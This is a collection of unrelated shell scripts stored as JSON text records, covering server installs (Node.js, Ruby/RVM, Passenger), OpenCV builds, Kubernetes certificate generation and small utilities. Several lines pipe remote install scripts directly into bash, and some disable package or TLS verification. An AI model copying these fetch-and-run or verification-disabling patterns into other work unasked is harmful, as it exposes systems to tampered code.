/etc/centminmod/custom_config.inc\n if [ -f /usr/bin/dos2unix ]; then\n dos2unix -q \"${CONFIGSCANBASE}/custom_config.inc\"\n fi\n source \"${CONFIGSCANBASE}/custom_config.inc\"\nfi\n\npreyum() {\n if [[ ! -d /svr-setup ]]; then\n yum -y install gcc-c++ patch readline readline-devel zlib zlib-devel libyaml-devel libffi-devel make bzip2 autoconf automake libtool bison iconv-devel sqlite-devel openssl-devel\n elif [[ -z \"$(rpm -ql libffi-devel)\" || -z \"$(rpm -ql libyaml-devel)\" || -z \"$(rpm -ql sqlite-devel)\" ]]; then\n yum -y install libffi-devel libyaml-devel sqlite-devel\n fi\n\n if [[ \"$(rpm -ql ruby | grep -v 'not installed')\" || \"$(rpm -ql ruby-libs | grep -v 'not installed')\" || \"$(rpm -ql rubygems | grep -v 'not installed')\" ]]; then\n yum -y erase ruby ruby-libs ruby-mode rubygems\n fi\n\n mkdir -p /home/.ccache/tmp\n}\n\ninstallnodejs() {\n\n# nodesource yum only works on CentOS 7 right now\n# https://github.com/nodesource/distributions/issues/128\nif [[ \"$CENTOS_SEVEN\" = '7' ]]; then\n if [[ \"$(which node >/dev/null 2>&1; echo $?)\" != '0' ]]; then\n \n cd $DIR_TMP\n curl --silent -4 --location https://rpm.nodesource.com/setup_4.x | bash -\n yum -y install nodejs --disableplugin=priorities --disablerepo=epel\n npm install npm@latest -g\n \n # npm install forever -g\n # https://github.com/Unitech/pm2/issues/232\n # https://github.com/arunoda/node-usage/issues/19\n # npm install pm2@latest -g --unsafe-perm\n \n echo -n \"Node.js Version: \"\n node -v\n echo -n \"npm Version: \"\n npm --version\n # echo -n \"forver Version: \"\n # forever -v\n # echo -n \"pm2 Version: \"\n # pm2 -V\n else\n echo \"node.js install already detected\"\n fi\nelif [[ \"$CENTOS_SIX\" = '6' ]]; then\n echo\n echo \"CentOS 6.x detected... \"\n echo \"addons/nodejs.sh currently only works on CentOS 7.x systems\"\n # exit\nfi\n}\n\ninstallnodejs_new() {\n if [[ \"$(which node >/dev/null 2>&1; echo $?)\" != '0' ]]; then\n cd $DIR_TMP\n curl --silent -4 --location https://rpm.nodesource.com/setup_${NODEJSVER}.x | bash -\n yum -y install nodejs --disableplugin=priorities --disablerepo=epel\n time npm install npm@latest -g\n \n echo\n cecho \"---------------------------\" $boldyellow\n cecho -n \"Node.js Version: \" $boldgreen\n node -v\n cecho \"---------------------------\" $boldyellow\n cecho -n \"npm Version: \" $boldgreen\n npm --version\n cecho \"---------------------------\" $boldyellow\n echo\n cecho \"node.js YUM install completed\" $boldgreen\n else\n echo\n cecho \"node.js install already detected\" $boldgreen\n fi\n}\n\ninstallruby() {\n\nif [[ -z $(which ruby >/dev/null 2>&1) || -z $(which rvm >/dev/null 2>&1) || -z $(which gem >/dev/null 2>&1) ]]; then\n\n groupadd rvm\n usermod -a -G rvm root\n \n echo \"curl -sSL https://rvm.io/mpapis.asc | gpg2 --import -\"\n curl -sSL https://rvm.io/mpapis.asc | gpg2 --import -\n echo \"curl -sSL https://rvm.io/pkuczynski.asc | gpg2 --import -\"\n curl -sSL https://rvm.io/pkuczynski.asc | gpg2 --import -\n \\curl -L https://get.rvm.io | bash -s stable\n # \\curl -L https://get.rvm.io | bash -s stable --ruby\n # \\curl -L https://get.rvm.io | bash -s stable --rails\n \n source /etc/profile.d/rvm.sh\n\n # export PATH=\"/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/usr/local/rvm/bin\"\n\n # export PATH=\"$PATH:/usr/local/rvm/bin\"\n \n # echo '[[ -s \"/etc/profile.d/rvm.sh\" ]] && source \"/etc/profile.d/rvm.sh\" # This loads RVM into a shell session.' >> ~/.bash_profile\n\n echo '[[ -s \"/etc/profile.d/rvm.sh\" ]] && source \"/etc/profile.d/rvm.sh\" # This loads RVM into a shell session.' >> ~/.bashrc\n \n echo \"checks...\"\n echo \"--------------------------------\"\n echo \"export PATH=\"$PATH\"\"\n export PATH=\"$PATH\"\n echo\n echo $PATH\n echo \"--------------------------------\"\n rvm requirements\n echo \"--------------------------------\"\n rvm list\n echo\n rvm list | awk -F \" \" '/^\\=\\*/ {print $2}'\n echo \"--------------------------------\"\n type rvm | head -1\n echo \"--------------------------------\"\n \n echo \"rvm install ${RUBYVER}\"\n echo \"rvm use ${RUBYVER} --default\"\n echo \"rvm rubygems current\"\n echo \"--------------------------------\" \n echo $GEM_HOME\n echo $GEM_PATH\n echo \"--------------------------------\"\n echo \"gem install rake rails sqlite3 mysql bundler --no-ri --no-rdoc\"\n echo \"gem install passenger --no-ri --no-rdoc\"\n \n echo \"--------------------------------\"\n # RUBYVER=$(rvm list | awk -F \" \" '/^\\=\\*/ {print $2}' | awk -F \"-\" '{print $2}')\n rvm install ${RUBYVER}\n echo \"--------------------------------\"\n rvm use ${RUBYVER} --default\n echo \"--------------------------------\"\n\n echo \"PATH echo...\"\n # sed -i 's/export PATH/#export PATH/' ~/.bashrc\n\n # PATH=$(echo $PATH | tr ':' '\\n' | sort | uniq | tr '\\n' ':')\n\n # echo \"export PATH=\\\"$PATH:/usr/local/rvm/gems/ruby-${RUBYVER}/bin:/usr/local/rvm/gems/ruby-${RUBYVER}@global/bin:/usr/local/rvm/rubies/ruby-${RUBYVER}/bin\\\"\" >> ~/.bashrc\n # export PATH=\"$PATH:/usr/local/rvm/gems/ruby-${RUBYVER}/bin:/usr/local/rvm/gems/ruby-${RUBYVER}@global/bin:/usr/local/rvm/rubies/ruby-${RUBYVER}/bin\"\n\n # echo \"export PATH=\"$PATH\"\" >> ~/.bashrc\n # export PATH=\"$PATH\"\n\n echo \"--------------------------------\"\n rvm rubygems current\n echo \"--------------------------------\"\n gem env\n echo \"--------------------------------\"\n gem install rake rails sqlite3 mysql --no-ri --no-rdoc\n gem install passenger --no-ri --no-rdoc\n echo \"--------------------------------\"\n \n echo \"more checks...\"\n echo \"--------------------------------\"\n ruby -v\n echo \"--------------------------------\"\n rails --version\n echo \"--------------------------------\"\n passenger -v | head -n1\n echo \"--------------------------------\"\n # passenger-memory-stats\n passenger-memory-stats | sed -r \"s/\\x1B\\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g\"\n echo \"--------------------------------\"\n # passenger-status\n echo \"--------------------------------\"\n gem list\n echo \"--------------------------------\"\nelse\n echo \"ruby or rvm or gem install already detected\"\nfi\n\n} # installruby\n\nnginxruby() {\n\nif [[ -z $(which passenger-config >/dev/null 2>&1) || -f /usr/local/nginx/conf/passenger.conf ]]; then\n\n PASSENGERROOT=$(passenger-config --root | head -n1)\n\n echo \"-------------------------------------------\"\n echo \"Setup /usr/local/nginx/conf/passenger.conf\"\n echo \"-------------------------------------------\"\n\n echo \"Passenger root located at: $PASSENGERROOT\"\n\ncat > \"/usr/local/nginx/conf/passenger.conf\" <&1 | tee ${CENTMINLOGDIR}/centminmod_passenger_install_${DT}.log\n\nendtime=$(TZ=UTC date +%s.%N)\n\nINSTALLTIME=$(echo \"scale=2;$endtime - $starttime\"|bc )\necho \"\" >> ${CENTMINLOGDIR}/centminmod_passenger_install_${DT}.log\necho \"Total Phusion Passenger Install Time: $INSTALLTIME seconds\" >> ${CENTMINLOGDIR}/centminmod_passenger_install_${DT}.log\n ;;\n *)\n echo \"$0 install\"\n ;;\nesac\nexit"} {"text": "#!/bin/bash\nexport LC_ALL=en_US.UTF_8\n\nif [ ! -d scripts ]; then\n echo \"You should run this script from the root git folder.\"\n exit 1\nfi\n\n# Set path to Moses clone\nMOSES=\"scripts/moses-3a0631a/tokenizer\"\nexport PATH=\"${MOSES}:$PATH\"\n\n# Raw files path\nRAW=./data/task1/raw\nTOK=./data/task1/tok\nPAIRS=./data/task1/pairs\nSUFFIX=\"lc.norm.tok\"\n\n# Detect languages from the list of language pairs\n# Add new language pairs to this file to handle the rest automatically\nLANGS=`tr '-' '\\n' < $PAIRS | sort -u`\n\nmkdir -p $TOK &> /dev/null\n\n##############################\n# Preprocess files in parallel\n##############################\nfor TYPE in \"train\" \"val\" \"test_2016_flickr\" \"test_2017_flickr\" \"test_2017_mscoco\"; do\n for LLANG in $LANGS; do\n INP=\"${RAW}/${TYPE}.${LLANG}.gz\"\n OUT=\"${TOK}/${TYPE}.${SUFFIX}.${LLANG}\"\n if [ -f $INP ] && [ ! -f $OUT ]; then\n zcat $INP | lowercase.perl | normalize-punctuation.perl -l $LLANG | \\\n tokenizer.perl -l $LLANG -threads 2 > $OUT &\n fi\n done\ndone\nwait"} {"text": "0\n#!/bin/bash\n\nXCLBINUTIL=/opt/xilinx/xrt/bin/xclbinutil\n$XCLBINUTIL -i test_orig.xclbin --key-value=USER:krnl_ngcodec_pistachio_enc:'{\"alias\" : \"ENCODER_VP9_NGCodec\", \"plugin\": \"libngcvp9.so\", \"maxCapacity\": \"124416000\"}' -o test_1.xclbin\n\n$XCLBINUTIL -i test_1.xclbin --key-value=USER:v_abrscaler_top:'{\"alias\": \"SCALER_yuv420p_Xilinx\", \"plugin\": \"libxabrscaler.so\", \"maxCapacity\": \"248832000\"}' -o test_2.xclbin\n\nmv test_2.xclbin test_xrm.xclbin\nrm test_1.xclbin"} {"text": "#!/bin/bash\n\n##\n## Copyright (c) 2019 SAP SE or an SAP affiliate company. All rights reserved.\n##\n## This file is part of ewm-cloud-robotics\n## (see https://github.com/SAP/ewm-cloud-robotics).\n##\n## This file is licensed under the Apache Software License, v. 2 except as noted otherwise in the LICENSE file (https://github.com/SAP/ewm-cloud-robotics/blob/master/LICENSE)\n##\n\n\n\n## self-signed-cert.sh can be used to distribute a self-signed certificate to enable communication \n## between order-manager and ewm-sim in cluster context\n## (ref.: https://kubernetes.io/docs/concepts/cluster-administration/certificates/#distributing-self-signed-ca-certificate)\n\n#########################################################################################\n## UTILITIES\n\n# trap ctrl-c and call ctrl_c()\ntrap ctrl_c INT\nfunction ctrl_c() {\n printf \"\\n\\nABORTED: Cleaning up.\\n\"\n cd ../ && rm -rf ./cert\n exit 0\n}\n\nfunction verify_kubectl_context {\n printf \"kubectl is currently configured to: \\n \"\n kubectl config current-context\n read -p \"Do you want to proceed (Y/n):\" ver\n \n if [[ $ver = \"\" ]] || [[ $ver = \"Y\" ]] || [[ $ver = \"Yes\" ]] || [[ $ver = \"y\" ]] || [[ $ver = \"yes\" ]]; then\n printf \"\\nOK\\n\\n\"\n else\n cd ../ && rm -rf ./cert\n die \"ABORTED: Please configure kubectl to use the correct context.\"\n fi\n}\n\nfunction verify_input {\n read -p \"Please review output above. Do you want to proceed? (Y/n):\" ver\n \n if [[ $ver = \"\" ]] || [[ $ver = \"Y\" ]] || [[ $ver = \"Yes\" ]] || [[ $ver = \"y\" ]] || [[ $ver = \"yes\" ]]; then\n printf \"\\nOK\\n\\n\"\n else\n cd ../ && rm -rf ./cert\n die \"ABORTED: No changes have been made.\"\n fi\n}\n\nfunction die {\n printf '\\n%s\\n' \"$1\" >&2\n exit 1\n}\n\n## UTILITIES\n#########################################################################################\n## MAIN\n\nmkdir ./cert/ && cd ./cert\n\n#############################################\n## GET OPTIONS\nverify_kubectl_context\n\nprintf \"Currect cluster-info:\\n\"\nkubectl cluster-info\n\nread -p \"Enter :\" MASTER_IP\nprintf \"\\nOK\\n\\n\"\n\necho '\n[ req ]\ndefault_bits = 2048\nprompt = no\ndefault_md = sha256\nreq_extensions = req_ext\ndistinguished_name = dn\n\n[ dn ]\nC = US\nST = CA\nL = SF\nO = O\nOU = U\nCN = ${MASTER_IP}\n\n[ req_ext ]\nsubjectAltName = @alt_names\n\n[ alt_names ]\nDNS.1 = kubernetes\nDNS.2 = kubernetes.default\nDNS.3 = kubernetes.default.svc\nDNS.4 = kubernetes.default.svc.cluster\nDNS.5 = kubernetes.default.svc.cluster.local\nDNS.6 = ewm-sim\nIP.1 = ${MASTER_IP}\n\n[ v3_ext ]\nauthorityKeyIdentifier=keyid,issuer:always\nbasicConstraints=CA:FALSE\nkeyUsage=keyEncipherment,dataEncipherment\nextendedKeyUsage=serverAuth,clientAuth\nsubjectAltName=@alt_names\n' > csr.conf\n\nif [[ $(uname -s) = \"Darwin\" ]]; then\n sed -i '' -e 's#\\${MASTER_IP}#'${MASTER_IP}'#' csr.conf\nelse\n sed -i -e 's#\\${MASTER_IP}#'${MASTER_IP}'#' csr.conf\nfi\n\nprintf \"#################################################\\n\"\ncat csr.conf\n\nverify_input\n\n#############################################\n## CERTIFICATE GENERATION\n\n## generate a ca.key with 2048bit:\nopenssl genrsa -out ca.key 2048\n## according to the ca.key generate a ca.crt:\nopenssl req -x509 -new -nodes -key ca.key -subj \"/CN=${MASTER_IP}\" -days 10000 -out ca.crt\n## generate a server.key with 2048bit:\nopenssl genrsa -out server.key 2048\n## generate the certificate signing request based on the config file:\nopenssl req -new -key server.key -out server.csr -config csr.conf\n## generate the server certificate using the ca.key, ca.crt and server.csr:\nopenssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key \\\n -CAcreateserial -out server.crt -days 10000 \\\n -extensions v3_ext -extfile csr.conf\n## check out your certificate:\n# openssl x509 -noout -text -in ./server.crt\n\n#############################################\n## CERTIFICATE DISTRIBUTION\n\ncd ../\ncp cert/server.key cert/key.pem\ncp cert/server.crt cert/cert.pem\n\nkubectl create configmap ewm-sim-cert --from-file=cert/ --dry-run=true -o yaml | kubectl apply -f -\n\nrm -rf ./cert"} {"text": "#!/bin/bash\n\nsh -c \"echo Hello world my name is $INPUT_MY_NAME\"\n\nnum=$INPUT_COUNT_NUM\necho \"count number to ${num}...\"\nfor (( c=0; c<=num; c++ ))\ndo\n echo \"${c}\"\ndone"} {"text": "#!/bin/bash\n\nrm pig_*.log\npig -x local -f demo-atoms.pig > output-atoms.txt\npig -x local -f demo-tuples.pig > output-tuples.txt\n\necho =========================\ncat output-atoms.txt\necho =========================\ncat output-tuples.txt\necho ========================="} {"text": "#!/bin/sh\n# Copyright (c) YugaByte, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except\n# in compliance with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software distributed under the License\n# is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\n# or implied. See the License for the specific language governing permissions and limitations under\n# the License.\n\n\ndie() {\n echo \"$@\"\n exit 1\n}\n\nfind_or_die() {\n which \"$1\" >/dev/null 2>&1 || die \"$1 not found!\"\n}\n\n[ \"$#\" -eq 1 ] || die \"Syntax: $0 \"\n\npid=\"${1}\"\n\nOS=\"$(uname)\"\ncase $OS in\n 'Linux')\n find_or_die \"gdb\"\n printf \"set auto-load safe-path / \\n attach %s \\n thread apply all bt \\n\" \"$pid\" | gdb\n ;;\n 'Darwin')\n find_or_die \"lldb\"\n lldb --one-line \"bt all\" --one-line \"exit\" -p \"$pid\"\n ;;\n *)\n die \"Unsupported OS!\"\n ;;\nesac"} {"text": "#!/bin/bash\n\n. $(dirname \"$0\")/include.sh\n\nlibcontent=$(cat <openforis/sepal\n#!/usr/bin/env bash\n\nLIBS=../../../lib/js\nNODE_TLS_REJECT_UNAUTHORIZED=0 nodemon \\\n --watch src \\\n --watch $LIBS/shared \\\n --inspect=0.0.0.0:9230 \\\n src/main.js"} {"text": "100-1000\npip3 install --upgrade pip\npip3 install jupyter"} {"text": "cp -rf ~/source/mxnet-model-server/examples/model_service_template/* alexnet\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* caffenet\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* FERPlus\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* inception-bn\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* lstm_ptb\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* nin\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-arcface-resnet100\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-duc\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-inception_v1\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-mobilenet\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-resnet101v1\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-resnet101v2\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-resnet152v1\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-resnet152v2\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-resnet18v1\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-resnet18v2\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-resnet34v1\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-resnet34v2\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-resnet50v1\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-resnet50v2\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-squeezenet\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-vgg16_bn\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-vgg16\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-vgg19_bn\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* onnx-vgg19\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* resnet-152\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* resnet-18\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* resnet50_ssd\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* resnext-101-64x4d\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* shufflenet\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* squeezenet_v1.1\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* squeezenet_v1.2\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* vgg16\ncp -rf ~/source/mxnet-model-server/examples/model_service_template/* vgg19"} {"text": "#!/bin/bash\necho \" ---------- Downloading pitop ---------- \"\nwget https://github.com/PierreKieffer/pitop/raw/master/bin/64/pitop \nchmod +x pitop\nsudo mv pitop /usr/local/bin\necho \" ---------- pitop is installed ---------- \"\necho \" ---------- usage ---------- \"\necho \" start cmd : pitop \"\necho \" press q to exit \"\necho \" --------------------------- \""} {"text": "shitallathiya/RumorDetection\ncharliehebdo,ferguson,germanwings-crash,ottawashooting,sydneysiege capitalratio,hasemark,hasperiod,hasqmark,tweetpos,w2v,wordcount"} {"text": "#!/bin/bash\n\ncd \"$(dirname \"${BASH_SOURCE[0]}\")\"\n\npython3 -m pip install packaging\npython3 -m pip install --upgrade setuptools_scm\n\nsource environment.sh\n\ncd ../erfa\n\nrm -rf setup.py\ncp ../tools/erfa-setup.py setup.py\n\ngit submodule init \ngit submodule update\n\nexport CPPFLAGS=\"-arch arm64 -mios-version-min=12.0 -isysroot $SDK -UHAVE_FEATURES_H\"\nexport CFLAGS=\"-arch arm64 -mios-version-min=12.0 -isysroot $SDK -UHAVE_FEATURES_H\"\nexport CFLAGS=\"$CFLAGS -I'liberfa/erfa' -I'$NUMPY1' -I'$NUMPY2'\"\nexport CPPFLAGS=\"$CPPFLAGS -I'liberfa/erfa' -I'$NUMPY1' -I'$NUMPY2'\"\n\npython3 setup.py bdist\npython3 ../tools/make_frameworks.py erfa Erfa\n../tools/copy-scripts.sh build/lib*/* ../../../downloadable-site-packages/compiled/erfa"} {"text": "#!/usr/bin/env bash\n\nsample=\"321458_1771_F07\" # \"260005_918_H09\"\n\npython3 \"./V-pipe/scripts/assemble_visualization_webpage.py\" \\\n --consensus \"./data/$sample/ref_majority.fasta\" \\\n --coverage \"./data/$sample/coverage.tsv.gz\" \\\n --vcf \"./data/$sample/snvs.vcf\" \\\n --gff \"./V-pipe/references/gffs/\" \\\n --template \"./V-pipe/scripts/visualization.html\" \\\n --wildcards \"$sample\" \\\n --output \"./report.html\""} {"text": "docker/mongodb/init.sh1-10\n#!/bin/bash\necho \"Running init.sh\"\necho \"Setting database directory permission\"\nchmod 775 ./data/db ./data/configdb\necho \"Running mongo with auth\"\nmongod --bind_ip_all --port 27017 --dbpath /data/db &\nsleep 5\necho \"Initializing users\"\nmongo admin /docker-entrypoint-initdb.d/mongo-users-init.js\nsleep 5\necho \"Stopping mongodb service\"\nmongod --shutdown\nsleep 5\necho \"Restarting\"\nnumactl mongod --bind_ip_all --port 27017 --dbpath /data/db --auth\necho \"Complete\""} {"text": "backend/run_macos.sh1-10\n#!/bin/sh\ngo run backend.go"} {"text": "#!/bin/sh\n\n# Copyright (c) 2019-2020 (@abhiTronix) <>\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n######################################\n# CI Custom OpenCV Builds #\n######################################\n\n# set -o errexit\n\necho \"Installing OpenCV...\"\n\n#determining system Python suffix and version\nPYTHONSUFFIX=$(python -c 'import platform; a = platform.python_version(); print(\".\".join(a.split(\".\")[:2]))')\nPYTHONVERSION=$(python -c 'import platform; print(platform.python_version())')\n\necho \"Installing OpenCV Dependencies...\"\n\nsudo apt-get install -y -qq --allow-unauthenticated build-essential cmake pkg-config gfortran libavutil-dev ffmpeg\n\nsudo apt-get install -y -qq --allow-unauthenticated yasm libv4l-dev libgtk-3-dev libtbb-dev libavresample-dev\n\nsudo apt-get install -y -qq --allow-unauthenticated libavcodec-dev libavformat-dev libswscale-dev libopenexr-dev\n\nsudo apt-get install -y -qq --allow-unauthenticated libxvidcore-dev libx264-dev libatlas-base-dev libtiff5-dev python3-dev liblapacke-dev\n\nsudo apt-get install -y -qq --allow-unauthenticated zlib1g-dev libjpeg-dev checkinstall libwebp-dev libpng-dev libopenblas-dev libopenblas-base\n\nsudo apt-get install -y -qq --allow-unauthenticated libgstreamer1.0-0 gstreamer1.0-plugins-base gstreamer1.0-plugins-good gstreamer1.0-plugins-bad gstreamer1.0-plugins-ugly gstreamer1.0-libav gstreamer1.0-doc gstreamer1.0-tools gstreamer1.0-x gstreamer1.0-alsa gstreamer1.0-gl gstreamer1.0-gtk3 gstreamer1.0-qt5 gstreamer1.0-pulseaudio\n\nsudo apt-get install -y -qq --allow-unauthenticated libgstreamer-plugins-base1.0-dev libgstreamer1.0-dev\n\necho \"Installing OpenCV Library\"\n\nexport PKG_CONFIG_PATH=/usr/local/lib/pkgconfig:$PKG_CONFIG_PATH\n\ncd $HOME\n\nwget -qq -O opencv.zip https://github.com/opencv/opencv/archive/master.zip\nwget -qq -O opencv_contrib.zip https://github.com/opencv/opencv_contrib/archive/master.zip\n\nunzip -qq opencv.zip\nunzip -qq opencv_contrib.zip\n\nmv opencv-master opencv\nmv opencv_contrib-master opencv_contrib\n\nrm opencv.zip\nrm opencv_contrib.zip\n\ncd $HOME/opencv\nmkdir build\ncd build\n\n#PYTHON2_INCLUDE=$(python2 -c \"from sysconfig import get_paths as gp; print(gp()['include'])\")\nPYTHON3_INCLUDE=$(python -c \"from sysconfig import get_paths as gp; print(gp()['include'])\")\n#PYTHON2_LIB=$(python2 -c \"import distutils.sysconfig as sysconfig; import os; print(os.path.join('/usr/lib/x86_64-linux-gnu/', sysconfig.get_config_var('LDLIBRARY')))\")\nPYTHON3_LIB=$(python -c \"import distutils.sysconfig as sysconfig; import os; print(os.path.join('/usr/lib/x86_64-linux-gnu/', sysconfig.get_config_var('LDLIBRARY')))\")\n#-DPYTHON2_LIBRARY=$PYTHON2_LIB -DPYTHON3_LIBRARY=$PYTHON3_LIB -DPYTHON2_INCLUDE_DIR=$PYTHON2_INCLUDE -DPYTHON3_INCLUDE_DIR=$PYTHON3_INCLUDE \\\ncmake -DCMAKE_BUILD_TYPE=RELEASE -DOPENCV_EXTRA_MODULES_PATH=$HOME/opencv_contrib/modules \\\n\t-DCMAKE_INSTALL_PREFIX=/usr/local -DINSTALL_PYTHON_EXAMPLES=OFF -DBUILD_DOCS=OFF -DBUILD_EXAMPLES=OFF \\\n\t-DBUILD_TESTS=OFF -DBUILD_PERF_TESTS=OFF -DBUILD_opencv_java=OFF -DWITH_LIBV4L=0N -DWITH_V4L=ON -DBUILD_JPEG=ON \\\n\t-DPYTHON_DEFAULT_EXECUTABLE=$(which python) -DOPENCV_SKIP_PYTHON_LOADER=ON \\\n\t-DPYTHON3_LIBRARY=$PYTHON3_LIB -DPYTHON3_INCLUDE_DIR=$PYTHON3_INCLUDE \\\n\t-DOPENCV_GENERATE_PKGCONFIG=YES -DBUILD_opencv_java=OFF -DWITH_TBB=ON ..\nmake -j$(nproc)\nsudo make install\nsudo ldconfig\n\nsudo ln -s /usr/local/lib/python$PYTHONSUFFIX/site-packages/*.so /opt/hostedtoolcache/Python/$PYTHONVERSION/x64/lib/python$PYTHONSUFFIX/site-packages\nsudo ldconfig\n\nOPENCV_VERSION=$(python -c 'import cv2; print(cv2.__version__)')\n\necho \"Building Binaries\"\n\necho \" OpenCV version $OPENCV_VERSION\n\n(OpenCV Travis CLI Builds)\n\nOpenCV (Open Source Computer Vision Library) is released under a BSD license and hence it’s free for both academic and commercial use. It has C++, Python and Java interfaces and supports Windows, Linux, Mac OS, iOS and Android. OpenCV was designed for computational efficiency and with a strong focus on real-time applications. Written in optimized C/C++, the library can take advantage of multi-core processing. Enabled with OpenCL, it can take advantage of the hardware acceleration of the underlying heterogeneous compute platform. \" >description-pak\n\necho | sudo checkinstall -D --install=no --pkgname=opencv --pkgversion=$OPENCV_VERSION --provides=opencv --nodoc --backup=no --maintainer= --exclude=$HOME\n\nCV_PATHNAME=OpenCV-$OPENCV_VERSION-$(python -c 'import platform; print(platform.python_version())').deb\n\nsudo mv $(ls *.deb) $CV_PATHNAME\n\n# assets name-path\necho \"OPENCV_NAME=$CV_PATHNAME\" >>$GITHUB_ENV\necho \"OPENCV_PATHNAME=$HOME/opencv/build/$CV_PATHNAME\" >>$GITHUB_ENV\n\necho \"Built OpenCV version: $OPENCV_VERSION\"\n\necho \"Done Building Binaries...!!!\""} {"text": "#!/bin/bash\n\n# Activate the \"foo\" conda environment\n. /opt/conda/etc/profile.d/conda.sh\nconda activate foo\n\nexec \"$@\""} {"text": "#!/bin/bash\n# variable files ending with .auto.pkrvars.hcl are automatically loaded\npacker build \\\n -var='os_iso_checksum=549bca46c055157291be6c22a3aaaed8330e78ef4382c99ee82c896426a1cee1' \\\n -var='os_iso_url=https://software-download.microsoft.com/download/pr/17763.737.190906-2324.rs5_release_svc_refresh_SERVER_EVAL_x64FRE_en-us_1.iso' \\\n -var='vsphere_guest_os_type=windows2019srv_64Guest' \\\n -var='vsphere_vm_name=tpl-windows-2019-eval' \\\n -var='autounattend_file=answer_files/2019/en/autounattend.xml' ."} {"text": "danielstefan3/TAP-loops\n# Vars\nbackend_prefix=\"tap\"\ncommon_backend_vars_file=\"aws.s3.tfbackend\"\nbackend_key_file=\"backend_key.tfbackend\"\ntf_cache_dir=$HOME/.terraform.d/plugin-cache\ncur_dir=\"$PWD\"\n\n# Generate backend key\n# Get the full directory structure excluding any numbers and trailing underscores\ncur_dir_key=$(basename $PWD | cut -f2-9 -d'_')\nbackend_key=\"$backend_prefix/$cur_dir_key/terraform.tfstate\"\necho key=\\\"$backend_key\\\" > $backend_key_file\n\n# Set proper sed based on OS\ncase \"$(uname -s)\" in\n \"Darwin\") sed_cmd=\"gsed\";; \n \"Linux\" ) sed_cmd=\"sed\";;\n \"*\" ) echo \"OS Not supported\"; exit 1 ;;\nesac\n\n# Init global tf provider cache dir. TBD Handle Windows\nexport TF_PLUGIN_CACHE_DIR=$tf_cache_dir; mkdir -p $tf_cache_dir\n\nterraform init --backend-config=$backend_key_file --backend-config=$common_backend_vars_file"} {"text": "1-10\n#!/bin/bash\nmodule load python/3.6.0\nmodule load python/3.7.1\n\n# Activate the virtual environment\nsource .venv/bin/activate\n\n# Store the current date and time\nprintf -v DATETIME '%(%Y-%m-%d_%H:%M:%S)T' -1\n\n# Submit the program\necho \"You will be notified via your ETH e-mail when the execution has started and finished\"\nbsub -W 24:00 -n 1 -R rusage[mem=64000,scratch=1000] -N -B -o logs/log_$DATETIME.txt python reproduce_results.py"} {"text": "100-1000\n#!/usr/bin/env sh\nset -e\ncd \"$(dirname \"$0\")\"\n\n# based on https://medium.com/@felipedutratine/intelligent-benchmark-with-wrk-163986c1587f\n\ncd /tmp/\nsudo apt-get update && sudo apt-get install build-essential libssl-dev git unzip -y\ngit clone https://github.com/wg/wrk.git wrk\ncd wrk && sudo make\n# move the executable to somewhere in your PATH, ex:\nsudo cp wrk /usr/local/bin"} {"text": "#!/bin/bash\n\nset -e\nset -u\nDIR=`dirname $0`\nCOMMON_SH=$DIR/common.sh\nif [ ! -e \"$COMMON_SH\" ]; then\n echo \"ERROR: unable to find common.sh at $COMMON_SH\"\n exit 1\nfi\n\nsource $COMMON_SH\n\necho \"Removing Bin Dir...\"\nrm -rf $BIN_DIR\necho \"Removing NSPR source...\"\nrm -rf $NSPR_SRC"} {"text": "### \"ping\"\ndexy viewer:ping\n\n### \"cite\"\ndexy cite\n\n### \"conf\"\ndexy conf\nls\n\n### \"fcmds\"\ndexy fcmds\ndexy fcmds -alias pyg\n\n### \"run-fcmd\"\ndexy fcmd -alias pyg -cmd css | head"} {"text": "0\n#!/bin/bash\n#https://www.hackerrank.com/challenges/awk-3/problem\n\nawk '{\n average = ($2 + $3 + $4)/3;\n if ( average >= 80)\n print 